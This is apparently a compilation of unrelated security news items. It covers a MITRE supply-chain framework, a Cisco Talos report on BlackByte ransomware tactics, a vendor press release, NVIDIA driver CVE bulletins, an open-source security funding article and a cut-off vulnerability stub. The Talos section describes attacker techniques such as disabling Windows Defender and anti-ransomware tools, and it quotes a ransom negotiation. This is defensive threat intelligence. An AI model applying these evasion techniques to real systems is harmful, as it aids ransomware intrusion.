System of Trust includes data-driven metrics for evaluating the integrity of software, services, and suppliers.

Supply chain security has been all the buzz in the wake of high-profile attacks like SolarWinds and Log4j, but to date there is no single, agreed-on way to define or measure it. To that end, MITRE has built a prototype framework for information and communications technology (ICT) that defines and quantifies risks and security concerns over supply chain - including software.

MITRE's so-called System of Trust (SoT) prototype framework is, in essence, a standard methodology for evaluating suppliers, supplies, and service providers. It can be used not just by cybersecurity teams but across an organization for assessing a supplier or product. 

"An accountant, a lawyer, \[or\] an operations manager could understand this structure at the top level," says Robert Martin, senior software and supply chain assurance principal engineer at MITRE Labs. "The System of Trust is about organizing and amalgamating existing capabilities that just don't get connected right now" to ensure full vetting of software as well as service provider offerings, for example.

The SoT will make its official public debut next month at the RSA Conference (RSAC) in San Francisco, where Martin will present the framework as a first step in gathering security community support and insight for the project. So far, he says, the initial feedback has been "very positive."

MITRE is best known in the cybersecurity sector for heading up the Common Vulnerabilities and Exposures (CVE) system that identifies known software vulnerabilities and, most recently, for the ATT&CK framework that maps the common steps threat groups use to infiltrate networks and breach systems.

Martin says he'll demonstrate the SoT framework and provide more details on the project during his RSAC presentation. The framework currently includes 12 top-level risk areas - everything from financial stability to cybersecurity practices - that organizations should evaluate during their acquisition process. More than 400 specific questions cover issues in detail, such as whether the supplier is properly and thoroughly tracking the software components and their integrity and security.

Each risk is scored using data measurements that are applied to a scoring algorithm. The resulting data scores identify the strengths and weaknesses of a supplier, for example, against the specific risk categories. An enterprise could then more quantitatively analyze a software supplier's "trustworthiness."

**SBOM Symmetry  
**Martin says that with software supply chain security, the SoT also goes hand in hand with software bill of materials (SBOM) programs. "SBOMs can give you deeper reason into understanding why you should trust," for example, a software component. Among several risk factors in the SoT, SBOMs can actually mitigate those risks or, at the least, provide better insight into the software and any risks. 

"If the SBOM has pedigree information, that information would allow for assessment of the tools and techniques used to build the software - whether reproducible builds were used to build the software, memory protection methods \[were\] invoked during the build" and other details, he notes.

So how does the SoT framework differ from risk management models? Traditional risk management employs probabilities, Martin says. With SoT, there's a list of risks that can be evaluated and scored to determine whether there is risk in specific areas and, if so, just how bad it really is.

"We want to help provide a consistent way of doing assessments ... and we would like to encourage data-driven decisions wherever we can" in supply chain evaluations, he says.

The next steps: introducing the concept of the SoT and offering the live taxonomy for public comment and scrutiny. "Then we can see what parts can be automated and where," and ensure that it can be integrated into the acquisition process. Vendors, too, could use SoT terminology in their product materials.

"'Supply chain' has a lot of different meanings," Martin explains. "We're not talking microelectronics in the US versus overseas. We're not trying to solve port issues. We're trying to get a culture of organizational risk management that includes supply chain concerns as a normal part of that. We want to bring some consistencies, automation, and data-driven evidence so there's more understanding of supply chain risks."

MITRE Creates Framework for Supply Chain Security

News summary Cisco Talos has been monitoring the BlackByte Ransomware Group for several months, infecting victims all over the world, from North America to Colombia, Netherlands, China, Mexico and Vietnam.The FBI released a joint cybersecurity advisory in February 2022 warning about this group,...


[[ This is only the beginning! Please visit the blog for the complete entry ]]

  
**News summary**

*   Cisco Talos has been monitoring the BlackByte Ransomware Group for several months, infecting victims all over the world, from North America to Colombia, Netherlands, China, Mexico and Vietnam.
*   The FBI released a joint cybersecurity advisory in February 2022 warning about this group, stating that the group has targeted at least three critical infrastructure sectors in the U.S.
*   Talos has monitored ongoing BlackByte attacks dating back to March.
*   BlackByte updated its leak site with a new design and new victims and is still actively exploiting victims worldwide. 

**Executive overview**

The BlackByte ransomware group uses its software for its own goals and as a ransomware-as-a-service offering to other criminals. The ransomware group and its affiliates have infected victims all over the world, from North America to Colombia, the Netherlands, China, Mexico and Vietnam. Talos has been monitoring BlackByte for several months and we can confirm they are still active after the FBI released a joint cybersecurity advisory in February 2022. Additionally, BlackByte is considered part of the big game ransomware groups, which are targeting large, high-profile targets, looking to exfiltrate internal data and threatening to publicly release it. Like similar groups, they have their own leaks site on the darknet. The actual TOR address of this site is frequently moved. Below, you can see a screenshot of the site. We have anonymized the screenshot to protect victims' privacy. 

  

The attack usually starts with a network entry point, either a previously compromised host or a software vulnerability which is exploitable from the network. The former compromised host elevates local and domain account privileges and moves laterally by using standard penetration testing and legit administrator tools (LoLBins). In most incidents, they like to use the AnyDesk remote management software to control victim machines. 

**Technical details**

The BlackByte gang often uses phishing and/or vulnerable unpatched applications or services like vulnerable versions of SonicWall VPN or the ProxyShell vulnerability in Microsoft Exchange servers to gain access to the victim's network. These are usually known public vulnerabilities that the targets haven't patched in a timely manner. Due to a lack of logs, we could not confirm the initial infection vector in the case below, but we have indicators that a vulnerable Microsoft Exchange Server was compromised, which matches the previously described behavior of the BlackByte actor.

A typical timeline of infection looks similar to the anonymized log below, which we saw in our telemetry in March.

  
  
The logs above show the adversaries are installing the AnyDesk remote management software, as we've seen in Cisco Talos Incident Response engagements. BlackByte seems to have a preference for this tool and often uses typical living-off-the-land binaries (LoLBins), besides other publicly available commercial and non-commercial software like 'netscanold' or 'psexec'. These tools are also often used by Administrators for legitimate tasks, so it can be difficult to detect them as a malicious threat. It seems to be that executing the actual ransomware is the last step once they are done with lateral movement and make themselves persistent in the network by adding additional admin accounts.

Unfortunately, we could not obtain the RANDOMNAME\_n.EXE files, which are likely stages of the ransomware infection. We also tried to get them via the telemetry of our partners, but the hash was unknown to them, too. This points to the same trend that many big game ransomware groups moved to the tactic of using unique obfuscated files for every victim. The chat with a criminal from the ransomware group Hive we've transcribed below provides an idea of how these conversations go. We are releasing more details about conversations with ransomware actors in a future post.

> **Victim:** "How many files are stolen? and can you share some file names?"
> 
> **Hive:** "Hello"  
> **  
> Victim:** "maybe no ones here"
> 
> **Hive:** "To decrypt your files you have to pay $20,000,000 in Bitcoin."
> 
> **Victim:** "that's way too much, can you please discount and please share the hash of the ransomware file so we can at least black list it. You have already stolen everything anyway"
> 
> **Hive:** "We don't provide any hashes. Every time the software is unique. There is no need of hashes here. It will not help anyway."
> 
> **Hive:** "If you want a discount I would like to see for how much"

Assuming that RANDOMNAME.EXE -a <SUSPICIOUS NUMBER> is the start of the ransomware infection process, they have slightly changed their behavior or are just using a different packer. The FBI document states "complex.exe -single <SHA256>" launches the infection process. In our case, the parameters are different — the first one is a '-a' and the following is not a SHA256 hash, it is an eight-digit number, like '42269874' (not the real number, but similar to keeping the privacy of the victim). This seems to be a victim ID or an offset for the unpacking process. The actual behavior of RANDOMNAME.EXE seems to be very similar to the complexe.exe one described in the FBI report. It also disables Windows Defender. The base64-obfuscated string 'VwBpAG4ARABlAGYAZQBuAGQA' decodes to 'WinDefend', which is the Windows Defender service. It then tries to disable Florian Roth's Raccine ransomware protection tool and a few other commands mentioned in the FBI document.

Finally, approximately 17 hours after the ransomware infection process started, the machine reboots and the ransomware note "BlackByteRestore.txt" is shown to the user via Notepad.

**Conclusion**

Talos research and other public reports about BlackByte are mainly pointing to vulnerable, outdated systems as the initial infection vector. This threat shows how important it is to have a proper update strategy in place. If your organization is running a Microsoft Exchange Server or any other internet-facing system, make sure it always has the latest patch in place. The time window between the announcement of a new security vulnerability and its weaponization and use by criminals is getting smaller every year.

It's more important now than ever to have a multi-layered security architecture to detect these types of attacks. The adversary is likely to manage to bypass one of the other cybersecurity measures, but it is much harder for them to bypass all of them. These campaigns and the refinement of the TTPs used will likely continue for the foreseeable future. 

**Coverage**

Ways our customers can detect and block this threat are listed below.  

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.  

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

**Orbital Queries**

Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat.

**IOCs**

  
To protect the privacy of the victim we can only release the anonymized logs above, but we hope this helps SOC and security staff to build their own custom rules to protect their assets.  

Typical log data in text format.

The BlackByte ransomware group is striking users all over the globe

MDR Sentinel expands TorchLight’s leading managed detection and response (MDR) services with turnkey SIEM and SOAR capabilities from Microsoft; TorchLight also announces it attains elite Microsoft Gold Partner Status

**SPOKANE, WA – May 10, 2022** - TorchLight today announced MDR Sentinel, a scalable, cloud-native turnkey security information and event management (SIEM) and security orchestration, automation, and response (SOAR) service. The new service is powered by enterprise-grade Microsoft Sentinel security tools combined with TorchLight’s nationwide virtual security operations center (vSOC) capabilities.

TorchLight is a Complete Security Solutions Provider (CSSP) that offers turnkey MDR services in addition to its own SIEM/SOAR MDR service that works with all leading cybersecurity products and environments to manage alerts and respond quickly and effectively to all threats.

The turnkey nature of MDR Sentinel is ideal for customers that are significant users of Microsoft software and services. TorchLight has also partnered with Cisco Systems for a turnkey managed SOAR MDR service that combines the full suite of Cisco Secure products along with TorchLight vSOC services.

**MDR Sentinel Details**

MDR Sentinel offers security analytics and threat intelligence across endpoint and cloud network environments. The service features built-in data connectors to collect security data from Microsoft software and services – including Microsoft Azure and Microsoft’s Defender for Endpoints, Cloud Apps and Office365 – as well as leading third-party firewalls and security systems.

MDR Sentinel assesses this data at scale and can detect threats with minimal false positives and investigates those threats with Microsoft’s experienced artificial intelligence (AI). The system responds rapidly to any incidents alerting the live cybersecurity experts in TorchLight’s vSOC who analyze significant events and provide incident management and support.

As a cloud-based SIEM, MDR Sentinel is less expensive and faster to deploy than traditional on-premises SIEMs. The service establishes connections to Microsoft Azure which also increases efficiency gains and significantly reduces management effort. The collaboration with Microsoft allows TorchLight to offer its clients best-fit Microsoft licensing as well as access to Microsoft’s analytics and intelligence.

"The cloud is joining end-user devices as the repository for valuable business data. MDR Sentinel offers an unparalleled ability to protect the entire range of a company’s data assets. This breadth combined with TorchLight’s nationwide SOC services is a comprehensive service and a good value,” said TorchLight CTO Stephen Heath.

“Microsoft is a pioneer in cloud-native SEIM / SOAR capabilities and our goal as a Microsoft Gold Partner is to use this technology and our SOC capabilities to give companies new tools to modernize their security operations,” said Jim Kreutel of TorchLight.

MDR Sentinel is now available. More details are at the TorchLight website.

**About TorchLight**

TorchLight is a full-service, nationwide Complete Security Solution Provider (CSSP) founded and built on the concept of providing a complete Design-Build-Manage (DBM) approach to cybersecurity solutions. We deploy a risk-aligned approach to translate business needs into cybersecurity, and cybersecurity into business strategy, to drive customer trust and investor confidence—combined with 24×7 monitoring and intelligence gathering. Through partnerships with Cisco and Microsoft, the industry leading security technology companies, we provide both turnkey and Bring-Your-Own-Tech cybersecurity solutions, along with a full range of consulting, reselling, and managed security service provider (MSSP) services.

TorchLight Expands Cybersecurity Services With MDR Sentinel in Partnership With Microsoft

NVIDIA GPU Display Driver for Windows contains a vulnerability in the kernel mode layer (nvlddmkm.sys) handler for DxgkDdiEscape, where improper input validation can cause denial of service.

**Details**

This section provides a summary of potential vulnerabilities that this security update addresses and their impact. Descriptions use CWE™, and base scores and vectors use CVSS v3.1 standards.

**NVIDIA GPU Display Driver**

**CVE ID**

**Description**

**Base Score**

**Vector**

CVE‑2022‑28181

NVIDIA GPU Display Driver for Windows and Linux contains a vulnerability in the kernel mode layer, where an unprivileged regular user on the network can cause an out-of-bounds write through a specially crafted shader, which may lead to code execution, denial of service, escalation of privileges, information disclosure, and data tampering. The scope of the impact may extend to other components.

8.5

AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE‑2022‑28182

NVIDIA GPU Display Driver for Windows contains a vulnerability in the DirectX11 user mode driver (nvwgf2um/x.dll), where an unauthorized attacker on the network can cause an out-of-bounds write through a specially crafted shader, which may lead to code execution to cause denial of service, escalation of privileges, information disclosure, and data tampering. The scope of the impact may extend to other components.

8.5

AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE‑2022‑28183

NVIDIA GPU Display Driver for Windows and Linux contains a vulnerability in the kernel mode layer, where an unprivileged regular user can cause an out-of-bounds read, which may lead to denial of service and information disclosure.

7.7

AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

CVE‑2022‑28184

NVIDIA GPU Display Driver for Windows and Linux contains a vulnerability in the kernel mode layer (nvlddmkm.sys) handler for DxgkDdiEscape, where an unprivileged regular user can access administrator- privileged registers, which may lead to denial of service, information disclosure, and data tampering.

7.1

AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

CVE‑2022‑28185

NVIDIA GPU Display Driver for Windows and Linux contains a vulnerability in the ECC layer, where an unprivileged regular user can cause an out-of-bounds write, which may lead to denial of service and data tampering.

6.8

AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

CVE‑2022‑28186

NVIDIA GPU Display Driver for Windows contains a vulnerability in the kernel mode layer (nvlddmkm.sys) handler for DxgkDdiEscape, where the product receives input or data, but does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly, which may lead to denial of service or data tampering.

6.1

AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

CVE‑2022‑28187

NVIDIA GPU Display Driver for Windows contains a vulnerability in the kernel mode layer (nvlddmkm.sys), where the memory management software does not release a resource after its effective lifetime has ended, which may lead to denial of service.

5.5

AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVE‑2022‑28188

NVIDIA GPU Display Driver for Windows contains a vulnerability in the kernel mode layer (nvlddmkm.sys) handler for DxgkDdiEscape, where the product receives input or data, but does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly, which may lead to denial of service.

5.5

AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVE‑2022‑28189

NVIDIA GPU Display Driver for Windows contains a vulnerability in the kernel mode layer (nvlddmkm.sys) handler for DxgkDdiEscape, where a NULL pointer dereference may lead to a system crash. 

5.5

AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVE‑2022‑28190

NVIDIA GPU Display Driver for Windows contains a vulnerability in the kernel mode layer (nvlddmkm.sys) handler for DxgkDdiEscape, where improper input validation can cause denial of service.

5.5

AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

**NVIDIA vGPU Software**

**CVE ID**

**Description**

**Base Score**

**Vector**

CVE‑2022‑28191

NVIDIA vGPU software contains a vulnerability in the Virtual GPU Manager (nvidia.ko), where uncontrolled resource consumption can be triggered by an unprivileged regular user, which may lead to denial of service.

5.5

AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVE‑2022‑28192

NVIDIA vGPU software contains a vulnerability in the Virtual GPU Manager (nvidia.ko), where it may lead to a use-after-free, which in turn may cause denial of service. This attack is complex to carry out because the attacker needs to have control over freeing some host side resources out of sequence, which requires elevated privileges.

4.1

AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H

The NVIDIA risk assessment is based on an average of risk across a diverse set of installed systems and may not represent the true risk to your local installation. NVIDIA recommends evaluating the risk to your specific configuration.

**Security Updates for NVIDIA GPU Display Driver****CVE IDs Addressed in Each Windows Driver Branch**

The following table lists the CVE IDs addressed by the update in each Windows driver branch.

**Driver Branch**

**CVE IDs Addressed**

R510

CVE‑2022‑28181, CVE‑2022‑28182, CVE‑2022‑28183, CVE‑2022‑28184, CVE‑2022‑28185, CVE‑2022‑28186, CVE‑2022‑28187, CVE‑2022‑28188, CVE‑2022‑28189, CVE‑2022‑28190

R470

CVE‑2022‑28181, CVE‑2022‑28182, CVE‑2022‑28183, CVE‑2022‑28184, CVE‑2022‑28185, CVE‑2022‑28186, CVE‑2022‑28188, CVE‑2022‑28189

R450

CVE‑2022‑28181, CVE‑2022‑28182, CVE‑2022‑28185, CVE‑2022‑28186, CVE‑2022‑28188, CVE‑2022‑28189

**Security Updates for NVIDIA GPU Windows Display Driver**

The following table lists the NVIDIA software products affected, versions affected, and the updated version available from nvidia.com that includes this security update. Download the updates from the NVIDIA Driver Downloads page.

**Software Product**

**Operating System**

**Driver Branch**

**Affected Driver Versions**

**Updated Driver Version**

GeForce

Windows

R510

All versions prior to 512.77

512.77

Studio

Windows

R510

All versions prior to 512.96

512.96

NVIDIA RTX/Quadro, NVS

Windows

R510

All versions prior to 512.78

512.78

R470

All versions prior to 473.47

473.47

Tesla

Windows

R510

All versions prior to 512.78

512.78

R470

All versions prior to 473.47

473.47

R450

All versions prior to 453.51

453.51

**Notes:**

*   Your computer hardware vendor may provide you with Windows GPU display driver versions including 512.36 and 473.34 which also contain the security updates. 
*   The table above may not be a comprehensive list of all affected supported versions or branch releases and may be updated as more information becomes available.
*   Earlier software branch releases that support these products may also be affected. If you are using an earlier branch release for which an update version is not listed above, NVIDIA recommends upgrading to the latest branch release.

**CVE IDs Addressed in Each Linux Driver Branch**

The following table lists the CVE IDs addressed by the update in each Linux driver branch.

**Driver Branch**

**CVE IDs Addressed**

R510 and R470

CVE‑2022‑28181, CVE‑2022‑28183, CVE‑2022‑28184, CVE‑2022‑28185, CVE‑2022‑28191, CVE‑2022‑28192

R450

CVE‑2022‑28181, CVE‑2022‑28185, CVE‑2022‑28192

R390

CVE‑2022‑28181, CVE‑2022‑28185

**Security Updates for NVIDIA GPU Linux Display Driver**

The following table lists the NVIDIA software products affected, versions affected, and the updated version available from nvidia.com that includes this security update. Download the updates from the NVIDIA Driver Downloads page.

**Software Product**

**Operating System**

**Driver Branch**

**Affected Driver Versions**

**Updated Driver Version**

GeForce,  
NVIDIA RTX/Quadro, NVS

Linux

R510

All versions prior to 510.73.05

510.73.05

R470

All versions prior to 470.129.06

470.129.06

R390

All versions prior to 390.151

390.151

Tesla

Linux

R510

All versions prior to 510.73.08

510.73.08

R470

All versions prior to 470.129.06

470.129.06

R450

All versions prior to 450.191.01

450.191.01

**Security Updates for NVIDIA vGPU Software**

The following table lists the NVIDIA vGPU software components affected, versions affected, and the updated version that includes this security update. Log in to the NVIDIA Enterprise Application Hub to download updates from the NVIDIA Licensing Portal.

**CVE IDs Addressed**

**vGPU Software Component**

**Operating System**

**Affected Versions**

**Updated Version**

**vGPU Software**

**Driver**

**vGPU Software**

**Driver**

CVE‑2022‑28181  
CVE‑2022‑28182  
CVE‑2022‑28183  
CVE‑2022‑28184  
CVE‑2022‑28185  
CVE‑2022‑28186  
CVE‑2022‑28188  
CVE‑2022‑28189  
CVE‑2022‑28190

vGPU software (guest driver)

Windows

All versions prior to and including 14.0

511.65

14.1

512.78

All versions prior to and including 13.2

472.98

13.3

473.47

All versions prior to and including 11.7

453.37

11.8

453.51

CVE‑2022‑28181  
CVE‑2022‑28183  
CVE‑2022‑28184  
CVE‑2022‑28185

vGPU software (guest driver)

Linux

All versions prior to and including 14.0

510.47.03

14.1

510.73.08

All versions prior to and including 13.2

470.103.01

13.3

470.129.06

All versions prior to and including 11.7

450.172.01

11.8

450.191.01

CVE‑2022‑28183  
CVE‑2022‑28184  
CVE‑2022‑28185  
CVE‑2022‑28191  
CVE‑2022‑28192

vGPU software (Virtual GPU Manager)

Citrix Hypervisor,  
VMware vSphere,  
Red Hat Enterprise Linux KVM

All versions prior to and including 14.0

510.47.03

14.1

510.73.06

All versions prior to and including 13.2

470.103.02

13.3

470.129.04

All versions prior to and including 11.7

450.172

11.8

450.191

**Notes:**

*   The table above may not be a comprehensive list of all affected supported versions or branch releases and may be updated as more information becomes available.
*   Earlier software branch releases that support these products may also be affected. If you are using an earlier branch release for which an update version is not listed above, NVIDIA recommends upgrading to the latest branch release.

**Security Updates for NVIDIA Cloud Gaming**

The following table lists the NVIDIA Cloud Gaming components affected, versions affected, and the updated version. Log in to the NVIDIA Enterprise Application Hub to download updates from the NVIDIA Licensing Portal.

**CVE IDs Addressed**

**Cloud Gaming Component**

**Operating System**

**Affected Versions**

**Updated Version**

**Cloud Gaming Software**

**Driver**

**Cloud Gaming Software**

**Driver**

CVE‑2022‑28181

CVE‑2022‑28182  
CVE‑2022‑28183  
CVE‑2022‑28184  
CVE‑2022‑28185  
CVE‑2022‑28186  
CVE‑2022‑28188  
CVE‑2022‑28189  
CVE‑2022‑28190

Cloud Gaming Guest Driver

Windows

All versions prior to and including the April 2022 Cloud Gaming Release

512.59

May 2022 Cloud Gaming Release

512.78

CVE‑2022‑28181  
CVE‑2022‑28183  
CVE‑2022‑28184  
CVE‑2022‑28185

Cloud Gaming Guest Driver

Linux

All versions prior to and including the April 2022 Cloud Gaming Release

510.68.02

May 2022 Cloud Gaming Release

510.73.05

CVE‑2022‑28183  
CVE‑2022‑28184  
CVE‑2022‑28185  
CVE‑2022‑28191  
CVE‑2022‑28192

Cloud Gaming Virtual GPU Manager

Citrix Hypervisor,  
Red Hat Enterprise Linux with KVM

All versions prior to and including the April 2022 Cloud Gaming Release

510.68.02

May 2022 Cloud Gaming Release

510.73.06

**Notes:**

*   The table above may not be a comprehensive list of all affected supported versions or branch releases and may be updated as more information becomes available.
*   Earlier software branch releases that support these products may also be affected. If you are using an earlier branch release for which an update version is not listed above, NVIDIA recommends upgrading to the latest branch release.

**Mitigations**

None. For the version to install, refer to:

*   Security Updates for NVIDIA GPU Display Driver
*   Security Updates for NVIDIA vGPU Software
*   Security Updates for NVIDIA Cloud Gaming

**Acknowledgements**

NVIDIA thanks Piotr Bania of Cisco Talos for reporting CVE‑2022‑28181 and CVE 2022-28182.

**Get the Most Up to Date Product Security Information**

Visit the NVIDIA Product Security page to

*   Subscribe to security bulletin notifications
*   See the current list of NVIDIA security bulletins
*   Report a potential security issue in any NVIDIA supported product
*   Learn more about the vulnerability management process followed by the NVIDIA Product Security Incident Response Team (PSIRT) 

**Revision History**

  

**Revision**

**Date**

**Description**

2.0

May 24, 2022

Added version information for the updated R510 drivers for Studio and Tesla, and the vGPU software 14.1 driver

1.0

May 16, 2022

Initial release

**Support**

If you have any questions about this security bulletin, contact NVIDIA Support.

**Frequently Asked Questions (FAQs)**

How do I determine which NVIDIA display driver version is currently installed on my PC?

**Disclaimer**

ALL NVIDIA INFORMATION, DESIGN SPECIFICATIONS, REFERENCE BOARDS, FILES, DRAWINGS, DIAGNOSTICS, LISTS, AND OTHER DOCUMENTS (TOGETHER AND SEPARATELY, “MATERIALS”) ARE BEING PROVIDED “AS IS.” NVIDIA MAKES NO WARRANTIES, EXPRESS, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO THE MATERIALS, AND ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OR CONDITION OF TITLE, MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT, ARE HEREBY EXCLUDED TO THE MAXIMUM EXTENT PERMITTED BY LAW.

Information is believed to be accurate and reliable at the time it is furnished. However, NVIDIA Corporation assumes no responsibility for the consequences of use of such information or for any infringement of patents or other rights of third parties that may result from its use. No license is granted by implication or otherwise under any patent or patent rights of NVIDIA Corporation. Specifications mentioned in this publication are subject to change without notice. This publication supersedes and replaces all information previously supplied. NVIDIA Corporation products are not authorized for use as critical components in life support devices or systems without express written approval of NVIDIA Corporation.

CVE-2022-28190: Security Bulletin: NVIDIA GPU Display Driver - May 2022

Piotr Bania of Cisco Talos discovered these vulnerabilities. Blog by Jon Munshaw. 
Cisco Talos recently discovered four vulnerabilities in the NVIDIA D3D10 driver for graphics cards that could allow an attacker to corrupt memory and write arbitrary memory on the card. 
NVIDIA graphics...


[[ This is only the beginning! Please visit the blog for the complete entry ]]

_Piotr Bania of Cisco Talos discovered these vulnerabilities. Blog by Jon Munshaw._ 

Cisco Talos recently discovered four vulnerabilities in the NVIDIA D3D10 driver for graphics cards that could allow an attacker to corrupt memory and write arbitrary memory on the card. 

NVIDIA graphics drivers are software for NVIDIA Graphics GPU cards that are installed on PCs. The D3D10 driver communicates between the operating system and the GPU. It's required in most cases for the PC to function properly. 

An attacker could exploit these vulnerabilities by sending the target a specially crafted executable or shader file. 

These issues could also allow an adversary to perform a guest-to-host escape if they target a guest machine running virtualization environments. We specifically tested these issues with a HYPER-V guest using the RemoteFX feature, leading to the execution of vulnerable code on the HYPER-V host. 

For more information on these issues, check out their advisories linked below: 

*   TALOS-2021-1435 (CVE-2022-28181) 
*   TALOS-2021-1436 (CVE-2022-28182) 
*   TALOS-2021-1437 (CVE-2022-28182) 
*   TALOS-2021-1438 (CVE-2022-28182) 

Cisco Talos worked with NVIDIA to ensure that these issues are resolved and an update is available for affected customers, all in adherence to Cisco’s vulnerability disclosure policy. 

Users are encouraged to update these affected products as soon as possible: NVIDIA D3D10 driver 496.76, version 30.0.14.9676. Talos tested and confirmed this driver could be exploited by these vulnerabilities. 

The following SNORTⓇ rules will detect exploitation attempts against this vulnerability: 58880 - 58883, 58885, 58886, 58910 and 58911. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall Management Center or Snort.org.

Vulnerability Spotlight: Multiple memory corruption vulnerabilities in NVIDIA GPU driver 

Maintainers of open source software (OSS) will gain additional security tools for their own projects, while the developers who use OSS — and about 97% of software does — will gain more data on security.

The maintainers of thousands of critical open source projects and the developers who build on the foundation of that code will both benefit from 10 security initiatives launched late last week by the Linux Foundation, the Open Source Security Foundation (OpenSSF), and 37 technology companies, the groups said — including tech bigwigs Amazon, Google, and Microsoft.

During a second summit of software industry professionals and government officials, the organizations committed to supporting a 10-step plan to shore up open source maintainers, provide tools to improve software security, and secure the software supply chain. 

The Open Source Software Security Mobilization Plan groups the 10 steps into three broad initiatives: securing open source software production, improving the discovery and remediation of vulnerabilities, and speeding the ecosystem's time to patch.

To show their commitment, a group of companies has pledged $30 million of the estimated $150 million needed to fund all 10 initiatives for the first two years, Brian Behlendorf, general manager of the OpenSSF, said during a press conference on Thursday. This initial $30 million comes from Amazon, Ericsson, Google, Intel, Microsoft, and VMWare.

"We realize that \[$150 million\] is a meaningful amount," he said. "It is an amount more than any one open source developer has, or even most open source projects. But when compared to the cost of remediating a major vulnerability out there, like we have seen in the last few years, it is a drop in the bucket — a very small ounce of prevention to spend for many, many pounds of cure."

The 10-step plan calls for educating and certifying developers in secure programming, creating and maintaining security metrics for the top 10,000 OSS components, promote digital signing of software releases, and replacing non-memory-safe languages, such as C and C++, with more modern alternatives, such as Go and Rust. The plan also calls for improving the discovery of vulnerabilities and their remediation by funding a team of experts to assist open source projects during incidents, provide advanced security tools, fund third-party reviews, and coordinate sharing of data to determine the most critical components.

The intent is to improve security without increasing workload, the open source foundations stated in the report.

"\[A\]ll forms of investment and intervention should be focused on delivering new value to OSS maintainers — from making it easier to adopt practices that enhance the security and integrity of their work, to funding activities like third party code reviews that most projects struggle to afford to perform on their own," the report stated. "Any investments or policies that place additional burdens on developers, increase their personal or professional liability for working on code, or issue unfunded mandates upon them, would struggle for adoption and potentially inhibit further advancements in open source software."  

**Developers & Maintainers to See More Tools  
**The main focus of the $150 million effort will be to produce tools, training. and services for developers and maintainers to create more secure software. Already, some tools have been released as part of the efforts of the OpenSSF and other supporters, such as Google. 

Google, for example, released a tool known as AllStars that automatically vets GitHub projects to flag any anomalies, which could indicate a security issue in the maintenance of the project. The company has also released a system, Scorecard, for rating projects in 18 different areas to give them a security rating. Google and the Linux Foundation, meanwhile, released a tool, sigstore, to help verify the integrity of software supply chains.

Such efforts are extremely important to reduce the impact of security efforts on developers' work, Stephen Chin, vice president of developer relations at software supply chain security firm JFrog, said in a statement.

"We believe open-source security will only be successful if we give OSS projects the same tools and services available to enterprises," he said. "Access to automated tools and high-quality security databases for open-source projects is essential and something that JFrog is committed to helping make happen."

Even more important than the tools are that the efforts create standards that allow interoperability between tool sets, Dan Lorenc — CEO and co-founder at Chainguard and a co-creator of sigstore — said in a statement.

"Interoperability is the linchpin in securing software throughout the supply chain," he said, adding: "These open source tools and projects are the core infrastructure for securing our digital world. But we know not every organization is in a position to go deep on learning each project, nor do they have dedicated staff to understand and integrate all of these tools."

**Gaining Momentum for Open Source Security Support  
**OpenSSF has already made a number of announcements of initiatives that will likely become components of the industry's approach to supporting the creation and maintenance of a more secure software supply chain. Earlier this year, for example, the group announced the Alpha-Omega Project, which aims to secure the most critical software by providing tools and support to maintainers. In March, the OpenSSF and the Laboratory for Innovation Science at Harvard announced four lists of 500 open source projects deemed most critical in two major ecosystems, the JavaScript-based Node Package Manager (NPM) and non-NPM frameworks.

In October, the OpenSSF announced that 16 premier members — including Amazon, Cisco, Facebook, Fidelity, Google, Microsoft, and Red Hat — along with 15 general members had  committed $10 million to expand and support the organization.

The broad base of support shows that open source security is a problem that affects every business using software, Brian Fox, CTO at Sonatype, said in a statement.

"It’s rare to see vendors, competitors, government, and diverse open source ecosystems all come together like they have today," he said. "It shows how massive a problem we have to solve in securing open source, and highlights that no one entity can solve it alone."

Open Source Security Gets $150M Boost From Industry Heavy Hitters

ACCEL-PPP 1.12.0 has an out-of-bounds read in post_msg when processing a call_clear_request.

Using version accel-ppp version 1.12.0-149-gff91c73.

**Summary**

